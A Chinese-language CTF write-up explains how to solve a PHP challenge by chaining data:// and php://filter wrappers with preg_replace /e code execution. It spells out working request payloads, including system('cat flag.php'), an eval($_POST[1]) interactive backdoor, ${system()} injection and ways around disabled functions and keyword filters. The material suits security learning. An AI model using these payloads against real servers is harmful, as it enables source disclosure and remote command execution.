这题我刷过不止一遍,每次看到“不过如此”四个字都想笑——它确实没有特别刁钻的考点,但把PHP里头三个特别容易忽略的细节串在了一起:双引号字符串的变量解析、伪协议、preg_replace 的 /e 修饰符。三个点单独拎出来都不难,一旦组合成一条利用链,就容易在某个环节卡住。这篇文章不藏私,把我完整的解题思路、payload 构造过程、踩过的坑和通用套路全部写出来,做 CTF 题目或者做代码审计的朋友都能用到。
1. 入口分析:一眼看穿题目的三重关卡
打开题目,页面干干净净,没有任何按钮和表单,只有 URL 参数可供操作。试几个常见参数名之后,会发现在传入text和file时页面有明显的反应,基本可以断定入口逻辑长这样:
$text = $_GET["text"]; $file = $_GET["file"]; if (isset($text) && (file_get_contents($text, 'r') === "I have a dream")) { if (preg_match("/flag/", $file)) { die("不要太轻易相信别人"); } include($file); }这段入口代码里藏着三个独立的条件,任何一个不满足都走不到后面的文件包含:
$text必须存在,并且file_get_contents($text)的返回值要和字符串"I have a dream"全等;$file必须存在,并且内容里不能出现flag四个字母;- 满足前两条后,会把
$file直接include进来。
这就是标准的文件包含题入口。$text的校验看似严苛,其实万变不离其宗,最终都是靠伪协议让file_get_contents吐出我们指定的内容;$file的过滤则是典型的preg_match关键字拦截,既不能让它直接读flag.php,又要给后续读取源码留出空间。
1.1 三个限制条件逐个拆解
第一个条件最容易造成思维定式。很多人看到file_get_contents($text) === "I have a dream",第一反应是直接传?text=I have a dream。但这里有两个致命问题:一是 URL 里的空格需要编码,二是就算编码对了,file_get_contents永远不可能把一个普通字符串当文件读出来。file_get_contents的参数是一个路径,不是一个值,它去读的是文件系统或者流,所以必须喂给它一个能返回固定内容的协议地址。
第二个条件是preg_match("/flag/", $file)拦截。这个过滤非常直接,$file字符串里只要包含flag就当场终止。所以想用file=flag.php这样直白的写法是不可能的,必须想办法让最终的包含链路里不出现flag字样,或者通过别的途径读取 flag。
第三个条件是include($file)本身。include一个 PHP 文件会执行它,如果$file就是index.php,就会无限递归包含,直接把进程跑崩;如果$file是一个内容不是 PHP 代码的流资源,就会把流内容原样输出到页面。这个特性是后面读源码的关键,很多人在这里想不通为什么include一个 filter 流反而看到了 base64 文本。
1.2 解题思路的推演路径
把三个条件放一起,思路其实很清晰:先满足$text,绕过去;再用某种方式绕过flag过滤读取源码;最后在源码里找新的利用点。三步走的思路不是靠猜,而是题目的限制条件逼出来的——既然不能直接读 flag,那就先读源码,看看作者在后续代码里埋了什么。
在实际操作中,我习惯先把入口参数全部试一遍,确认每个参数的作用和过滤规则,再开始构造 payload。这道题的入口代码是明摆着的,省去了黑盒猜参数的步骤,直接进入伪协议环节。
2. 第一道锁:用 data:// 协议绕过全等比较
这一层的主角是伪协议里的data://。目标很明确:让file_get_contents($text)的返回值正好等于"I have a dream"。
2.1 为什么直接传字符串不行
我最早做这类题的时候踩过这个坑:?text=I have a dream页面没有任何反应。原因刚才说过,file_get_contents把参数当成资源路径去解析了,"I have a dream"不是一个存在的文件,也不是一个已注册的流协议,PHP 只会返回false,和"I have a dream"全等比较直接失败。
就算把空格做 URL 编码也不行,本质上还是要读一个不存在的文件。所以正确做法是让file_get_contents从一个可控的流里把内容读出来,这个流就是data://。
2.2 data:// 协议的两个姿势与原理
data://协议允许你把数据直接嵌入 URL 里,PHP 的流封装器会把它当作一个内存中的数据源来读取。常见的写法有两种:
data://text/plain,I have a dream data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=第一种写法最直观,data://text/plain,后面直接跟文本内容。但毛病在于I have a dream含空格,URL 里空格要么编码成%20,要么编码成+,浏览器和 PHP 的解析规则还可能不一致,经常出现玄学报错。第二种写法把内容 base64 编码,得到的字符串里只有字母和数字,完全不涉及特殊字符,在 URL 里传参最稳。
I have a dream对应 base64 是SSBoYXZlIGEgZHJlYW0=,这个值可以在本地用任何语言算出来。个人强烈建议在 CTF 里习惯用 base64 形式,少跟空格、逗号这些字符纠缠。
2.3 全等比较的隐藏坑
这里还有一点值得注意:代码里用的是===,全等比较要求值相等且类型相同。file_get_contents成功读取文件时返回字符串,data://读出来的也是字符串,类型一致没有问题。但如果有人想用数组或者布尔值去绕过,在===面前全部失效。这就是为什么这类题普遍用===而不是==,作者就是不想让你用 PHP 弱类型的把戏钻空子。
这一层过关后,带上$file参数继续往下走,进入真正的文件读取环节。
3. 第二道锁:用 php://filter 读取源码并绕过关键字
入口里include($file)一出现,第一反应就该是读源码。但这里有两个障碍:直接包含 index.php 会递归执行;直接读 flag.php 又会被preg_match("/flag/", $file)拦死。两个障碍其实都能用php://filter解决。
3.1 为什么要先读 index.php
一句话:题目没有直接把 flag 交出来,一切可利用的信息都在代码里。入口代码虽然能猜个大概,但具体后续有没有隐藏文件、有没有二次参数、过滤规则到底长什么样,都要通过源码确认。而且index.php里很可能还藏着真正触发漏洞的代码,读它等于掌握了整道题的剧本。
有人会问,为什么不用file=index.php直接读?因为include一个 PHP 文件会执行它的代码,这个文件又包含include($file),结果就是无限循环包含自己,进程最终崩溃。我们需要的是“把 index.php 的源码作为文本输出”,而不是“执行 index.php”,这就需要用到流过滤器。
3.2 过滤器链的工作机制
php://filter是 PHP 内置的流过滤器封装器,可以在读取文件流时对数据进行一层或多层变换。最经典的写法:
php://filter/read=convert.base64-encode/resource=index.php拆解开来看:
read=指定在读取数据流时应用的过滤器;convert.base64-encode表示把读到的原始内容做 base64 编码;resource=index.php指定要读取的目标文件。
这样include一个 filter 流时,PHP 实际拿到的是 index.php 源码的 base64 编码文本。这段文本里面没有<?php标记,不会被当成 PHP 执行,而是原样输出到 HTML 页面,于是我们就在页面上看到了一长串 base64 密文。
这个写法还有一个附带好处:字符串php://filter/read=convert.base64-encode/resource=index.php里不包含flag四个字母,完美绕过了preg_match("/flag/", $file)。如果题目过滤更严格,还能叠多层过滤器,比如convert.base64-encode|convert.base64-decode之类,先编码再解码,可以在一定程度上混淆关键字检测。
3.3 拿到源码后的关键发现
把页面输出的 base64 复制出来,随便找个在线工具或者本地命令解码,就能还原出真实的 index.php 源码。我解出来之后,看到入口代码后面还跟了这样几行:
$str = "index.php"; preg_replace("/(.*)/e", $_GET["cmd"], $str);看到preg_replace再加上e,基本就可以确定,这题真正的压轴考点在这里:旧版 PHP 的preg_replace配合/e修饰符,可以把替换字符串当作 PHP 代码执行。而替换字符串来自$_GET["cmd"],参数完全可控,这就是一个标准的命令执行点。
到这里,第一关和第二关全部打通,下一步就是构造最终的 RCE payload。
4. 核心考点:preg_replace /e 与 PHP 双引号的组合拳
很多人在前面玩得飞起,到了preg_replace这里突然不会了,其实是对/e修饰符的原理理解不透。这一节把它彻底讲透。
4.1 /e 修饰符到底干了什么
在 PHP 5.5.22 之前,以及部分后续版本里,preg_replace支持一个/e修饰符。它的作用是:把替换字符串进行反向引用替换之后,再交给 eval() 执行。换句话说,替换字符串不再是一段普通的文本模板,而是一段 PHP 代码。
看这行代码:
preg_replace("/(.*)/e", $_GET["cmd"], $str);正则/(.*)/会匹配$str的整个内容,题目里$str = "index.php",所以整个字符串都会被匹配。由于/e的存在,$_GET["cmd"]的值会被直接当作 PHP 代码执行。
我构造的最终请求是这样:
?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=index.php&cmd=system('cat flag.php');cmd=system('cat flag.php');传进去之后,实际执行过程就等价于:
eval("system('cat flag.php');");system()会把命令输出直接打到页面响应里,flag 内容就藏在返回的 HTML 中。注意分号不要丢,否则语法错误会导致 eval 失败。
4.2 PHP 双引号在漏洞触发中的角色
这是题目标题里专门点出来的考点。为什么源码里写的是$_GET["cmd"]就出漏洞,写成$_GET['cmd']可能就不会?关键在 PHP 双引号字符串的变量解析规则。
PHP 双引号字符串会解析变量,比如"$name"会把$name的值插入到字符串里。$_GET["cmd"]本身就是一个数组访问表达式,双引号环境下它会被立即求值为用户传入的 cmd 参数值。所以preg_replace的第二个参数实际接到的就是用户输入的字符串。
如果编码的人手滑写成单引号'$_GET["cmd"]',单引号内不做变量解析,整个$_GET["cmd"]就会作为字面量传给preg_replace,用户输入变成无效,漏洞自然不存在。这就是“PHP 双引号”这四个字的关键意义。
另外还有一种更绕的姿势,替换字符串里如果出现了$0或者\1这类反向引用,PHP 会先把它替换成被匹配的内容,然后再 eval。在某些题目里,攻击者可以通过控制被匹配的字符串,把 Payload 塞进$0里,实现类似效果。虽然这题没到那一步,但理解这个机制对做同类题目帮助很大。
4.3 最终 payload 构造与结果
如果system()函数被禁用,可以换其他函数继续打:
cmd=print_r(scandir('.')); // 列出目录,看看有什么文件 cmd=readfile('flag.php'); // 读取文件内容 cmd=highlight_file('flag.php'); // 高亮显示源码,带 HTML 标签也能看 cmd=var_dump(file_get_contents('flag.php'));我实战的时候习惯先scandir('.')看看目录结构,确认文件名,再highlight_file或者readfile读内容。有时候 flag 文件名不是flag.php,直接 cat 会扑空。
还有一个值得提的点:如果遇到把cmd嵌入双引号字符串里的变体题目,payload 可以用${}复杂语法来穿透,例如:
cmd=${system('cat flag.php')}PHP 双引号字符串里的${...}会触发变量插值的“复杂语法”,在某些 PHP 版本下能够调用表达式。虽然这题用不上,但作为双引号考点的延伸,遇到格式更刁钻的题目时它是救命招。
5. 实操复盘:踩坑记录与排查方法
再顺的题目实战时也会出幺蛾子,把常见的故障点整理成表,直接抄作业。
5.1 高频问题速查表
| 现象 | 原因 | 解决方法 |
|---|---|---|
传text=I have a dream无反应 | file_get_contents把字符串当路径,读文件失败 | 改用data://text/plain;base64,...协议 |
data://text/plain,I have a dream偶尔失败 | 空格、逗号等特殊字符被 URL 解析干扰 | 用 base64 格式,避免特殊字符 |
file=php://filter/...页面输出一坨 base64 | 这是正常的,过滤器把源码编码输出了 | 直接解码即可 |
加了cmd后报错Call to undefined function system() | 命令执行函数被禁用 | 换readfile、file_get_contents等函数 |
| 执行了命令但没有输出 | 命令路径不对,或者文件不存在 | 先scandir('.')看目录 |
PHP 版本太高,preg_replace的/e直接报错 | 新版 PHP 移除了/e修饰符 | 在旧版本 PHP 5.x 环境复现测试 |
5.2 命令执行失败的排查思路
遇到“看起来执行了但没结果”的情况,第一件事不是改 Payload,而是确认函数真的执行了。我一般按这个顺序排查:
- 先执行一个绝对不会有歧义的命令,比如
cmd=phpinfo();,如果页面有 phpinfo 输出,说明 RCE 链路完全打通; - 再用
cmd=print_r(scandir('.'));查看当前目录,确认 flag 文件的准确名称; - 最后用
cmd=highlight_file('flag.php');读取内容。
这个方法比瞎试cat flag.php稳定得多。尤其题目环境里可能把$str换成了别的文件名,或者 flag 不在当前目录,直接cat容易什么都拿不到。
5.3 通用替代 payload 清单
除了system,PHP 代码执行还能用这些:
cmd=echo shell_exec('cat flag.php'); cmd=print_r(file('flag.php')); cmd=include('/flag'); cmd=eval($_POST[1]);eval($_POST[1])适合需要交互式控制的情况,配合 POST 请求随意执行多条命令。如果题目做了更严格的黑名单,最后一条 Payload 往往还能钻空子,因为黑名单一般只过滤 GET 参数里的关键词,不会过滤 POST 内容。
6. 扩展联想:三个知识点还能怎么玩
这道题把伪协议、双引号、preg_replace 串成了一条链,其实每个点拆开都有更广阔的应用场景,在别的 CTF 题里也经常单独出现。
6.1 伪协议家族的其他成员
除了data://和php://filter,常用伪协议还有:
php://input:配合 POST 请求体传数据,适合file_get_contents("php://input")类判断;phar://:读取 phar 压缩包内的文件,经常配合反序列化漏洞;zip://:读取 zip 压缩包内的文件,和 phar 思路类似;file://:直接读取本地文件,有时候能绕过路径拼接过滤。
做文件包含题的时候,我拿到include($file)第一件事就是把这些协议挨个试一遍,看哪个能出内容,哪个能执行代码。php://filter最通用,因为它不仅能读源码,还能在读取过程中做多重编码绕过。
另外别忘了data://不只可以传纯文本,还能传普通字符串的 base64,甚至能配合其他 Payload 在有限制的情况下制造任意内容。比如某些题过滤了text里的关键字,就用 base64 编码后再传,让服务端解码后匹配成功。
6.2 preg_replace 漏洞的变体
/e修饰符已经被新版 PHP 移除了,现在遇到preg_replace会报 “preg_replace(): The /e modifier is no longer supported”,所以很多题目要么开旧版环境,要么用其他方式模拟类似效果。
最常见的替代写法是preg_replace_callback,它不会执行代码,只是回调函数。但开发者如果手滑在回调函数里用了不安全操作,依然会有问题。再比如preg_replace配合$0反向引用漏洞,即使没有/e,在某些框架里也能被用来注入模板语法,进而触发 SSTI。
做这类题目我有个心得:看到preg_replace就去看第二个参数是否完全可控,再去看有没有e或者类似assert的函数,这两个条件同时满足基本就是白给的 RCE。
6.3 双引号字符串的隐蔽利用姿势
PHP 双引号字符串变量解析带来的问题不止是代码逻辑错误,还有可能直接变成代码执行。经典的${phpinfo()}就是利用双引号里的复杂语法触发函数调用。比如下面的代码:
echo "${phpinfo()}";在某些 PHP 版本下会执行phpinfo(),这正是双引号字符串复杂语法的效果。CTF 里经常把它用来探测漏洞点,或者在没有/e修饰符的情况下强行执行表达式。
平时写代码的人很少注意这一点,但审计代码时如果看到echo "$..."、preg_replace("...", "...$...", ...)这类双引号拼接,就要多留个心眼。漏洞不一定非得来自eval或者system,一个不起眼的双引号说不定就是整条链的起点。
这道题我复盘过很多次,最想强调的一点是:把几个基础知识点串成利用链的能力,比背一堆 Payload 重要得多。一开始我也卡在data://的空格编码上,后来才意识到 base64 版本更稳;再后来看到preg_replace("/e")一拍大腿,原来前面所有铺垫都是为了走到这一步。
建议你有空把这套链路多刷几遍,刷到不用看 Payload 就能一口气打出来。这个熟练度,比机械地记十道题的答案有用得多。下次再看到标题里带“双引号、伪协议、正则”字样的题,你也会觉得——不过如此。